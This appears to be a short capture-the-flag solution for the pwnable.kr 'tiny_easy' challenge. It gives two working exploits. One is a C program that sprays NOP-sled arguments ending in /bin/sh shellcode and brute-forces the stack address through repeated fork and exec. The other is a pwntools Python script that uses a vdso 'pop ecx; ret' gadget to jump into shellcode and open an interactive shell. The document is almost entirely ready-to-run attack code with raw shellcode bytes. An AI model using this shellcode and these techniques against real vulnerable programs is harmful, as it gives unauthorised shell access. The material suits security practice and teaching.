pwnable-rookiss-tiny-easy.c does the guess work of stack address, and pwnable-rookiss-tiny-easy.py is much more efficient using gadgets from vdso but you need run `ulimit -s unlimited` first in the shell.
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#include <stdio.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <sys/wait.h> | |
char *shellcode = \ | |
"\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" | |
"\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" | |
"\x6e\x2f\x73\x68"; | |
int main() | |
{ | |
char arg[130001]; | |
int status; | |
memset(arg, '\x90', 130000); | |
strcpy(arg + 130000 - strlen(shellcode), shellcode); | |
for (;;) { | |
if (0 == fork()) | |
execl("/home/tiny_easy/tiny_easy", "\xe0\xf0\x7c\xff", | |
arg, arg, arg, arg, arg, arg, arg, arg, | |
arg, arg, arg, arg, arg, arg, arg, arg, | |
NULL); | |
wait(&status); | |
if (WIFEXITED(status)) | |
break; | |
} | |
return 0; | |
} |
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#!/usr/bin/env python | |
# coding=utf8 | |
from pwn import p32, process | |
pop_ret = 0x55557b62 # "pop ecx; ret" from vdso | |
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73" | |
"\x68\x68\x2f\x62\x69\x6e\x89" | |
"\xe3\x89\xc1\x89\xc2\xb0\x0b" | |
"\xcd\x80\x31\xc0\x40\xcd\x80") | |
argv = [p32(pop_ret), shellcode] | |
p = process(argv, executable='/home/tiny_easy/tiny_easy') | |
p.interactive() |
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